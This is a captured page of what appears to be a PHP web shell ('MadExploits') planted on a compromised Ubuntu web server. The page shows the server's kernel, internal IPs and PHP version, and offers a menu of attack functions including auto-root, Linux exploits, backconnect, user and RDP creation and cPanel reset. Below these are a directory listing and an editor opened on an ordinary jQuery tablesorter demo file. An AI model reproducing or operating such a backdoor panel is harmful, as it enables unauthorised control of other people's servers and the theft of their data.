Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
admins /
sort /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-x--x
css
[ DIR ]
drwxr-x--x
fonts
[ DIR ]
drwxr-x--x
img
[ DIR ]
drwxr-x--x
js
[ DIR ]
drwxr-x--x
example-add-rows.html
3.46
KB
-rwxr-x--x
example-ajax.html
2.97
KB
-rwxr-x--x
example-apply-widget.html
3.81
KB
-rwxr-x--x
example-child-rows-filtered.ht...
51.31
KB
-rwxr-x--x
example-child-rows.html
42.24
KB
-rwxr-x--x
example-colspan.html
7.75
KB
-rwxr-x--x
example-css-highlighting.html
14.78
KB
-rwxr-x--x
example-dragtable.html
12.64
KB
-rwxr-x--x
example-empty-table.html
2.48
KB
-rwxr-x--x
example-extending-defaults.htm...
2.28
KB
-rwxr-x--x
example-extractors-parsers.htm...
5.03
KB
-rwxr-x--x
example-header-column-span.htm...
2.81
KB
-rwxr-x--x
example-locale-sort.html
4.48
KB
-rwxr-x--x
example-meta-headers.html
2.9
KB
-rwxr-x--x
example-meta-parsers.html
2.73
KB
-rwxr-x--x
example-meta-sort-list.html
2.86
KB
-rwxr-x--x
example-method-sortreset.html
2.9
KB
-rwxr-x--x
example-multiple-tbodies.html
3.07
KB
-rwxr-x--x
example-option-built-in-parser...
3.86
KB
-rwxr-x--x
example-option-custom-sort.htm...
6.73
KB
-rwxr-x--x
example-option-date-format.htm...
4.62
KB
-rwxr-x--x
example-option-debug.html
2.48
KB
-rwxr-x--x
example-option-delay-init.html
781.24
KB
-rwxr-x--x
example-option-digits.html
3.48
KB
-rwxr-x--x
example-option-render-header.h...
4.62
KB
-rwxr-x--x
example-option-render-template...
4.31
KB
-rwxr-x--x
example-option-selectorsort.ht...
2.85
KB
-rwxr-x--x
example-option-show-processing...
111.69
KB
-rwxr-x--x
example-option-sort-append.htm...
4.13
KB
-rwxr-x--x
example-option-sort-empty.html
4.78
KB
-rwxr-x--x
example-option-sort-force.html
2.41
KB
-rwxr-x--x
example-option-sort-key.html
2.35
KB
-rwxr-x--x
example-option-sort-list.html
3.35
KB
-rwxr-x--x
example-option-sort-order.html
2.19
KB
-rwxr-x--x
example-option-sortreset-sortr...
3.32
KB
-rwxr-x--x
example-option-text-extraction...
3.85
KB
-rwxr-x--x
example-option-textsorter-semv...
4.01
KB
-rwxr-x--x
example-option-theme-bootstrap...
14.26
KB
-rwxr-x--x
example-option-theme-bootstrap...
18.36
KB
-rwxr-x--x
example-option-theme-bootstrap...
13.29
KB
-rwxr-x--x
example-option-theme-materiali...
14.25
KB
-rwxr-x--x
example-option-theme-metro-sty...
8.94
KB
-rwxr-x--x
example-options-headers-digits...
5.63
KB
-rwxr-x--x
example-options-headers-locked...
3.09
KB
-rwxr-x--x
example-options-headers-order....
3.32
KB
-rwxr-x--x
example-options-headers-parser...
3.2
KB
-rwxr-x--x
example-options-headers.html
3.51
KB
-rwxr-x--x
example-pager-ajax.html
19.67
KB
-rwxr-x--x
example-pager-filtered.html
17.67
KB
-rwxr-x--x
example-pager.html
24.41
KB
-rwxr-x--x
example-parsers-advanced.html
4.11
KB
-rwxr-x--x
example-parsers-class-name.htm...
3.6
KB
-rwxr-x--x
example-parsers-date-range.htm...
4.8
KB
-rwxr-x--x
example-parsers-dates.html
8.44
KB
-rwxr-x--x
example-parsers-duration.html
6.11
KB
-rwxr-x--x
example-parsers-feet-inch-frac...
3.33
KB
-rwxr-x--x
example-parsers-file-type.html
7.92
KB
-rwxr-x--x
example-parsers-globalize.html
8.63
KB
-rwxr-x--x
example-parsers-ignore-article...
49.84
KB
-rwxr-x--x
example-parsers-ip-address.htm...
4.46
KB
-rwxr-x--x
example-parsers-jquery-data.ht...
2.89
KB
-rwxr-x--x
example-parsers-leading-zeros....
4.83
KB
-rwxr-x--x
example-parsers-metric.html
6.06
KB
-rwxr-x--x
example-parsers-named-numbers....
4.95
KB
-rwxr-x--x
example-parsers-roman.html
8.33
KB
-rwxr-x--x
example-parsers.html
6.86
KB
-rwxr-x--x
example-trigger-sort.html
9.72
KB
-rwxr-x--x
example-triggers.html
109.58
KB
-rwxr-x--x
example-update-all.html
3.07
KB
-rwxr-x--x
example-update-cell.html
3.15
KB
-rwxr-x--x
example-widget-align-character...
16.6
KB
-rwxr-x--x
example-widget-bootstrap-theme...
966
B
-rwxr-x--x
example-widget-build-table.htm...
38.32
KB
-rwxr-x--x
example-widget-chart.html
22.81
KB
-rwxr-x--x
example-widget-column-selector...
40.93
KB
-rwxr-x--x
example-widget-columns.html
5.68
KB
-rwxr-x--x
example-widget-css-sticky-head...
29.02
KB
-rwxr-x--x
example-widget-current-sort.ht...
3.39
KB
-rwxr-x--x
example-widget-editable.html
23.5
KB
-rwxr-x--x
example-widget-filter-any-matc...
12.42
KB
-rwxr-x--x
example-widget-filter-childrow...
7.42
KB
-rwxr-x--x
example-widget-filter-custom-s...
16.56
KB
-rwxr-x--x
example-widget-filter-custom-s...
6.45
KB
-rwxr-x--x
example-widget-filter-custom.h...
21.8
KB
-rwxr-x--x
example-widget-filter-external...
7.9
KB
-rwxr-x--x
example-widget-filter-formatte...
33.97
KB
-rwxr-x--x
example-widget-filter-formatte...
14.05
KB
-rwxr-x--x
example-widget-filter-formatte...
7.78
KB
-rwxr-x--x
example-widget-filter-selectme...
6.16
KB
-rwxr-x--x
example-widget-filter.html
54.19
KB
-rwxr-x--x
example-widget-formatter.html
8.52
KB
-rwxr-x--x
example-widget-grouping-filter...
8.06
KB
-rwxr-x--x
example-widget-grouping.html
49.92
KB
-rwxr-x--x
example-widget-header-titles.h...
13.69
KB
-rwxr-x--x
example-widget-lazyload.html
15.95
KB
-rwxr-x--x
example-widget-mark.html
20.68
KB
-rwxr-x--x
example-widget-math.html
43.66
KB
-rwxr-x--x
example-widget-output.html
61.47
KB
-rwxr-x--x
example-widget-pager-ajax.html
15.23
KB
-rwxr-x--x
example-widget-pager.html
24.57
KB
-rwxr-x--x
example-widget-print.html
14.87
KB
-rwxr-x--x
example-widget-reflow.html
31.35
KB
-rwxr-x--x
example-widget-reflow1.html
3.39
KB
-rwxr-x--x
example-widget-reflow2.html
8.09
KB
-rwxr-x--x
example-widget-reflow3.html
3.63
KB
-rwxr-x--x
example-widget-resizable.html
19.12
KB
-rwxr-x--x
example-widget-savesort.html
4.55
KB
-rwxr-x--x
example-widget-scroller.html
46.42
KB
-rwxr-x--x
example-widget-sort-tbodies.ht...
22.76
KB
-rwxr-x--x
example-widget-sort-to-hash.ht...
29.17
KB
-rwxr-x--x
example-widget-static-row.html
11.06
KB
-rwxr-x--x
example-widget-sticky-header.h...
37.16
KB
-rwxr-x--x
example-widget-toggle-tablesor...
7.54
KB
-rwxr-x--x
example-widget-ui-theme.html
7.96
KB
-rwxr-x--x
example-widget-vertical-group....
4.05
KB
-rwxr-x--x
example-widget-view.html
20.95
KB
-rwxr-x--x
example-widget-zebra.html
3.5
KB
-rwxr-x--x
example-widgets.html
11.71
KB
-rwxr-x--x
index.html
427.02
KB
-rwxr-x--x
themes.html
8.48
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example-widget-filter-custom.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery tablesorter 2.0 - Custom Filter Widget Functions</title> <!-- jQuery --> <script src="js/jquery-latest.min.js"></script> <!-- Demo stuff --> <link class="ui-theme" rel="stylesheet" href="css/jquery-ui.min.css"> <script src="js/jquery-ui.min.js"></script> <link rel="stylesheet" href="css/jq.css"> <link href="css/prettify.css" rel="stylesheet"> <script src="js/prettify.js"></script> <script src="js/docs.js"></script> <!-- Tablesorter: required --> <link rel="stylesheet" href="../css/theme.blue.css"> <script src="../js/jquery.tablesorter.js"></script> <script src="../js/widgets/widget-storage.js"></script> <script src="../js/widgets/widget-filter.js"></script> <script> $(function() { // External search // buttons set up like this: // <button type="button" class="search" data-filter-column="4" data-filter-text="2?%">Saved Search</button> $('button.match').click(function() { // toggle "filter-match" class on first column var first = $('table').find('th:first').toggleClass('filter-match'); $('#mode').html( '' + first.hasClass('filter-match') ); /*** first method *** data-filter-column="1" data-filter-text="!son" add search value to Discount column (zero based index) input */ var filters = $('table').find('.tablesorter-filter'), col = $(this).data('filter-column'), // zero-based index txt = $(this).data('filter-text'); // text to add to filter filters.val(''); // clear all filters filters.eq(col).val(txt).trigger('search', false); return false; }); $('.accordion button[data-filter-column]').click(function() { var filters = [], $t = $(this), col = $t.data('filter-column'), // zero-based index txt = $t.data('filter-text') || $t.text(); // text to add to filter filters[col] = txt; $.tablesorter.setFilters( $('#demo table'), filters, true ); return false; }); $('button.search-type').click(function() { var c = $('#demo table')[0].config, wo = c.widgetOptions, search = wo.filter_searchFiltered = !wo.filter_searchFiltered; $('#search-type').html( '' + search ); $.tablesorter.setFilters( c.$table, [ '', 'Evan' ], true ); }); }); </script> <script id="js">$(function() { // call the tablesorter plugin $("table").tablesorter({ theme: 'blue', // hidden filter input/selects will resize the columns, so try to minimize the change widthFixed : true, // initialize zebra striping and filter widgets widgets: ["zebra", "filter"], // headers: { 5: { sorter: false, filter: false } }, widgetOptions : { // extra css class applied to the table row containing the filters & the inputs within that row filter_cssFilter : '', // If there are child rows in the table (rows with class name from "cssChildRow" option) // and this option is true and a match is found anywhere in the child row, then it will make that row // visible; default is false filter_childRows : false, // if true, filters are collapsed initially, but can be revealed by hovering over the grey bar immediately // below the header row. Additionally, tabbing through the document will open the filter row when an input gets focus filter_hideFilters : false, // Set this option to false to make the searches case sensitive filter_ignoreCase : true, // jQuery selector string of an element used to reset the filters filter_reset : '.reset', // Use the $.tablesorter.storage utility to save the most recent filters filter_saveFilters : true, // Delay in milliseconds before the filter widget starts searching; This option prevents searching for // every character while typing and should make searching large tables faster. filter_searchDelay : 300, // Set this option to true to use the filter to find text from the start of the column // So typing in "a" will find "albert" but not "frank", both have a's; default is false filter_startsWith : false, // Add select box to 4th column (zero-based index) // each option has an associated function that returns a boolean // function variables: // e = exact text from cell // n = normalized value returned by the column parser // f = search filter input value // i = column index filter_functions : { // Add select menu to this column // set the column value to true, and/or add "filter-select" class name to header // '.first-name' : true, // Exact match only 1 : function(e, n, f, i, $r, c, data) { return e === f; }, // Add these options to the select dropdown (regex example) 2 : { "A - D" : function(e, n, f, i, $r, c, data) { return /^[A-D]/.test(e); }, "E - H" : function(e, n, f, i, $r, c, data) { return /^[E-H]/.test(e); }, "I - L" : function(e, n, f, i, $r, c, data) { return /^[I-L]/.test(e); }, "M - P" : function(e, n, f, i, $r, c, data) { return /^[M-P]/.test(e); }, "Q - T" : function(e, n, f, i, $r, c, data) { return /^[Q-T]/.test(e); }, "U - X" : function(e, n, f, i, $r, c, data) { return /^[U-X]/.test(e); }, "Y - Z" : function(e, n, f, i, $r, c, data) { return /^[Y-Z]/.test(e); } }, // Add these options to the select dropdown (numerical comparison example) // Note that only the normalized (n) value will contain numerical data // If you use the exact text, you'll need to parse it (parseFloat or parseInt) 4 : { "< $10" : function(e, n, f, i, $r, c, data) { return n < 10; }, "$10 - $100" : function(e, n, f, i, $r, c, data) { return n >= 10 && n <=100; }, "> $100" : function(e, n, f, i, $r, c, data) { return n > 100; } } } } }); });</script> </head> <body> <div id="banner"> <h1>table<em>sorter</em></h1> <h2>Custom Filter Widget Functions</h2> <h3>Flexible client-side table sorting</h3> <a href="index.html">Back to documentation</a> </div> <div id="main"> <p></p> <br> <div class="accordion"> <h3><a href="#">Notes</a></h3> <div> <ul> <li>In <span class="version">v2.22.0</span>, <ul> <li>An additional <code>data</code> parameter was added to the filter functions. It is an object which contains all data provided to the filter type functions (see <a href="example-widget-filter-custom-search.html#how_to_add_custom_filter_types">all the data values here</a>).</li> <li><span class="label warning">*WARNING*</span> In a future update, the filter function parameters will change to clean up the code (I know, it's messy)! <pre class="prettyprint lang-js">filter_functions : { // function(e, n, f, i, $r, c, data) {} <- current parameters 0 : function(c, data) {} // planned change (version undetermined) }</pre>The <code>e</code> (exact table cell text), <code>n</code> (normalized table cell text), <code>f</code> (filter input value), <code>i</code> (column index) and <code>$r</code> (current row; jQuery object) are all already included in the <code>data</code> object.<p></p></li> </ul> </li> <li>In <span class="version">v2.21.0</span>, the filter functions provide an additional parameter <code>c</code> which is the <code>table.config</code>.</li> <li>In <span class="version updated">v2.17.0</span>, the <code>filter_functions</code> column can also be referenced by using a jQuery selector (e.g. class name or ID).</li> <li>In <span class="version">v2.16.3</span>, <ul> <li>When a default filter select is added to a column, it is now parsed from the assigned parser, then sorted using the <code>textSorter</code> setting, and falls back to an alphanumeric sort.</li> <li>Adding a class of <code>"filter-select-nosort"</code> will now leave the select options unsorted.</li> </ul> </li> <li>In <span class="version">v2.14</span>, the <code>filter_saveFilters</code> option was added (default set to <code>false</code>); this demo has it set to <code>true</code> to provide an example.</li> <li>In <span class="version">v2.11</span>, the filter functions provide an additional parameter <code>$r</code> providing a jQuery object of the current row being searched by the filter.</li> <li>For <span class="version">v2.10.8</span>, the Age column includes the new <code>data-value</code> set to <code><30</code> which sets the default (starting) filter value (see <a href="index.html#widget-filter-defaultattrib">filter_defaultAttrib</a> for more details).</li> <li>As of tablesorter <span class="version">v2.9</span>, this widget can no longer be applied to versions of tablesorter prior to version 2.8.</li> <li>Custom filter widget option <code>filter_functions</code> was added in version 2.3.6.</li> <li>jQuery v1.4.3+ required.</li> </ul> </div> <h3><a href="#"><strong>Default Select</strong></a> <span class="xsmall">("First Name" column)</span></h3> <div> <ul> <li>To enable this type of select, set the <code>filter_functions</code> option for the column to <code>true</code>,<pre class="prettyprint lang-javascript">filter_functions : { // Add select menu to this column // set the column value to true, and/or add "filter-select" class name to header '.first-name' : true }</pre>or add a "filter-select" class to the column header cell (see code below).</li> <li>The default option text, "Select a name", is obtained from the header <code>data-placeholder</code> attribute of the column header cell. And when active, it will show all table rows.<pre class="prettyprint lang-html"><th class="filter-select" data-placeholder="Select a name">First Name</th></pre></li> <li>Add a "filter-match" class to only match instead of exactly match the selected value. Click on the "Match" button below to see the difference.<pre class="prettyprint lang-html"><th class="filter-select filter-match" data-placeholder="Select a name">First Name</th></pre></li> <li>The select is populated by the column text contents with repeated content combined (i.e. There are three "Aaron"'s in the first column, but only one in the dropdown.</li> <li>Select options are automatically <del>alphanumerically</del> (new in v2.4) sorted. Changed in <span class="version updated">v2.16.3</span>: <ul> <li>The select contents are now parsed from the assigned parser, then sorted using the <a href="index.html#textsorter"><code>textSorter</code></a> option</li> <li>Add a class name of <code>"filter-select-nosort"</code> to prevent sorting the select options (<span class="version">v2.16.3</span>).</li> </ul> </li> <li>Please check out what the "filter-onlyAvail" class name does by reviewing the details below (in the "Discount" column) (<span class="version">v2.10.1</span>).</li> </ul> </div> <h3><a href="#"><strong>Custom Filter Function</strong></a> <span class="xsmall">("Last Name" column)</span></h3> <div> <ul> <li>To enable this type of filter, add your custom function to the <code>filter_functions</code> option following this example:<pre class="prettyprint lang-javascript">filter_functions : { // Exact match only 1 : function(e, n, f, i, $r, c, data) { return e === f; } }</pre></li> <li>The example shows you how to show only exact matches. The problem with this is that you can't see the matches while typing unless you set the <code>filter_searchDelay</code> option to be a bit longer.</li> <li>Also, the example only checks for an exact match (<code>===</code>) meaning the <code>filter_ignoreCase</code> option is ignored, but other comparisons can be made using regex and the insensitive "i" flag.</li> <li><span class="label warning">*NOTE*</span> If using an exact match function like this, consider setting the <a href="index.html#widget-filter-searchfiltered"><code>filter_searchFiltered</code></a> option to false. If it were set to <code>true</code>, the filter widget wouldn't know to search through the entire contents of the column if the content were only slightly different. To see this problem, search for <button type="button" data-filter-column="1">Evan</button> in the "Last Name" column, then add an "s" to the end to find "Evans". No results will show up, unless the search filtered option is <code>false</code>.</li> <li>See the filter function information below for more details about the function parameters.</li> </ul> </div> <h3><a href="#"><strong>Custom Select</strong></a> <span class="xsmall">("City" or "Total" column)</span></h3> <div> <ul> <li>To enable this type of select, add your custom options within the <code>filter_functions</code> option.</li> <li>Each option is set as a "key:value" pair where the "key" is the actual text of the option and the "value" is the function associated with the option.</li> <li>Here is an example using alphabetical comparisons (using regular expressions):<pre class="prettyprint lang-javascript">filter_functions : { // Add these options to the select dropdown (regex example) 2 : { "A - D" : function(e, n, f, i, $r, c, data) { return /^[A-D]/.test(e); }, "E - H" : function(e, n, f, i, $r, c, data) { return /^[E-H]/.test(e); }, "I - L" : function(e, n, f, i, $r, c, data) { return /^[I-L]/.test(e); }, "M - P" : function(e, n, f, i, $r, c, data) { return /^[M-P]/.test(e); }, "Q - T" : function(e, n, f, i, $r, c, data) { return /^[Q-T]/.test(e); }, "U - X" : function(e, n, f, i, $r, c, data) { return /^[U-X]/.test(e); }, "Y - Z" : function(e, n, f, i, $r, c, data) { return /^[Y-Z]/.test(e); } } }</pre></li> <li>Here is an example using numerical comparisons:<pre class="prettyprint lang-javascript">filter_functions : { // Add these options to the select dropdown (numerical comparison example) // Note that only the normalized (n) value will contain numerical data // If you use the exact text, you'll need to parse it (parseFloat or parseInt) 4 : { "< $10" : function(e, n, f, i, $r, c, data) { return n < 10; }, "$10 - $100" : function(e, n, f, i, $r, c, data) { return n >= 10 && n <=100; }, "> $100" : function(e, n, f, i, $r, c, data) { return n > 100; } } }</pre></li> <li>See the "Filter function information" section below for more details about the function parameters.</li> </ul> </div> <h3><a href="#"><strong>Default Select with only available options</strong></a> <span class="xsmall">("Discount" column)</span></h3> <div> <ul> <li>This column uses the same method as the "First Name" column with one exception, it also includes the "filter-onlyAvail" class name in the header cell:<pre class="prettyprint lang-html"><th class="filter-select filter-onlyAvail">Discount</th></pre></li> <li>To see how this works, do the following: <ul> <li>First, filter the "First Name" column by selecting the name "Clark"</li> <li>Now use the "Discount" filter select box, you'll notice that only the values associated with the first name of Clark are showing as options.</li> </ul> </li> <li>Conversely, if you reset the filters, select "44%" in the "Discount" column, then look at the "First Name" filter selector, you'll notice that it still contains all of the original options; because the "filter-onlyAvail" class name is not included in that column's header cell.</li> <li>Sorry, this functionality only works for default select filters.</li> <li>This funcitonality was added in <span class="version">v2.10.1</span>.</li> </ul> </div> <h3><a href="#"><strong>Filter function information</strong></a></h3> <div> <ul> <li>The custom function must return a boolean value. If <code>true</code> is returned, the row will be shown if all other filters match; and if <code>false</code> is returned, the row will be hidden. <pre class="prettyprint lang-javascript">function(e, n, f, i, $r, c, data) { return test; /* test should be a Boolean (true or false) */ }</pre> </li> <li>The <strong>exact text (e)</strong> of the table cell is a variable passed to the function. Note that numbers will need to be parsed to make comparisons.</li> <li><strong>Normalized table cell data (n)</strong> is the next varibale passed to the function. <ul> <li>This data has been parsed by the assigned column parser, so make sure the same type of data is being compared as parsed data may not be what you expect.</li> <li>Normalized numerical values within the table will be of numeric type and not of string type, as the sorter needs to use mathematical comparisons while sorting.</li> <li>The data will be in lower-case if the <code>filter_ignoreCase</code> option is <code>true</code>.</li> <li>Dates like in the last column of the table below will store the time in seconds since 1970 (using javascript's .getTime() function).</li> <li>The percentage column will only store the number and not percentage sign.</li> </ul> </li> <li>The <strong>filter input value (f)</strong> is the exact text entered by the user. If numerical, it will need to be parsed using parseFloat() or parseInt() to allow for making comparisons.</li> <li>The <strong>column index (i)</strong> might be useful for obtaining more information from header, or something.</li> <li>The <strong>row ($r)</strong> is the current table row (jQuery object) being searched (or filtered). <ul> <li>This allows access to any extra information within. To access the current cell, just use <code>$r.children().eq(i)</code>.</li> <li><span class="label alert">* NOTE *</span> The row object provided is <em>not</em> attached to the table, so using something like <code>.parent()</code> or <code>.closest()</code> will not work!</li> <li>For this reason, the next parameter (<code>c</code>) was added.</li> </ul> </li> <li>The <strong>config (c)</strong> is the <code>table.config</code> (added <span class="version">v2.21.0</span>).</li> <li>The <strong>data</strong> parameter is the same data passed to the filter types (see <a href="example-widget-filter-custom-search.html#how_to_add_custom_filter_types">all the data values here</a>; added <span class="version">v2.22.0</span>).</li> </ul> </div> </div> <h1>Demo</h1> <button type="button" class="match" data-filter-column="0" data-filter-text="Denni">Toggle</button> <span id="mode" class="bright">false</span> "filter-match" class name on the "First Name" column<br> <button type="button" class="search-type">Toggle</button> filter_searchFiltered : <span id="search-type" class="bright">true</span> (if true, the search is performed on already filtered rows, with some exceptions)<br> <button type="button" class="reset">Reset Search</button> <div id="demo"><table class="tablesorter"> <thead> <tr> <!-- add "filter-select" class or filter_functions : { '.first-name' : true } --> <!-- add "filter-match" class to just match the content, so selecting "Denni" will also show "Dennis" --> <th class="first-name filter-select" data-placeholder="Select a name">First Name</th> <th data-placeholder="Exact matches only">Last Name</th> <th data-placeholder="Choose a city">City</th> <th data-value="<30">Age</th> <th data-placeholder="Select a filter">Total</th> <th class="filter-select filter-onlyAvail">Discount</th> <th>Date</th> </tr> </thead> <tbody> <tr> <td>Aaron</td> <td>Johnson Sr</td> <td>Atlanta</td> <td>35</td> <td>$5.95</td> <td>22%</td> <td>Jun 26, 2004 7:22 AM</td> </tr> <tr> <td>Aaron</td> <td>Johnson</td> <td>Yuma</td> <td>12</td> <td>$2.99</td> <td>5%</td> <td>Aug 21, 2009 12:21 PM</td> </tr> <tr> <td>Clark</td> <td>Henry Jr</td> <td>Tampa</td> <td>51</td> <td>$42.29</td> <td>18%</td> <td>Oct 13, 2000 1:15 PM</td> </tr> <tr> <td>Denni</td> <td>Henry</td> <td>New York</td> <td>28</td> <td>$9.99</td> <td>20%</td> <td>Jul 6, 2006 8:14 AM</td> </tr> <tr> <td>John</td> <td>Hood</td> <td>Boston</td> <td>33</td> <td>$19.99</td> <td>25%</td> <td>Dec 10, 2002 5:14 AM</td> </tr> <tr> <td>Clark</td> <td>Kent Sr</td> <td>Los Angeles</td> <td>18</td> <td>$15.89</td> <td>44%</td> <td>Jan 12, 2003 11:14 AM</td> </tr> <tr> <td>Peter</td> <td>Kent Esq</td> <td>Seattle</td> <td>45</td> <td>$153.19</td> <td>44%</td> <td>Jan 18, 2021 9:12 AM</td> </tr> <tr> <td>Peter</td> <td>Johns</td> <td>Milwaukee</td> <td>13</td> <td>$5.29</td> <td>4%</td> <td>Jan 8, 2012 5:11 PM</td> </tr> <tr> <td>Aaron</td> <td>Evan</td> <td>Chicago</td> <td>24</td> <td>$14.19</td> <td>14%</td> <td>Jan 14, 2004 11:23 AM</td> </tr> <tr> <td>Bruce</td> <td>Evans</td> <td>Upland</td> <td>22</td> <td>$13.19</td> <td>11%</td> <td>Jan 18, 2007 9:12 AM</td> </tr> <tr> <td>Clark</td> <td>McMasters</td> <td>Pheonix</td> <td>18</td> <td>$55.20</td> <td>15%</td> <td>Feb 12, 2010 7:23 PM</td> </tr> <tr> <td>Dennis</td> <td>Masters</td> <td>Indianapolis</td> <td>65</td> <td>$123.00</td> <td>32%</td> <td>Jan 20, 2001 1:12 PM</td> </tr> <tr> <td>John</td> <td>Hood</td> <td>Fort Worth</td> <td>25</td> <td>$22.09</td> <td>17%</td> <td>Jun 11, 2011 10:55 AM</td> </tr> </tbody> </table></div> <h1>Javascript</h1> <div id="javascript"> <pre class="prettyprint lang-javascript"></pre> </div> <h1>HTML</h1> <div id="html"> <pre class="prettyprint lang-html"></pre> </div> <div class="next-up"> <hr /> Next up: <a href="example-widget-filter-custom-search.html">Custom Filter Widget Search Types ››</a> </div> </div> </body> </html>
Close
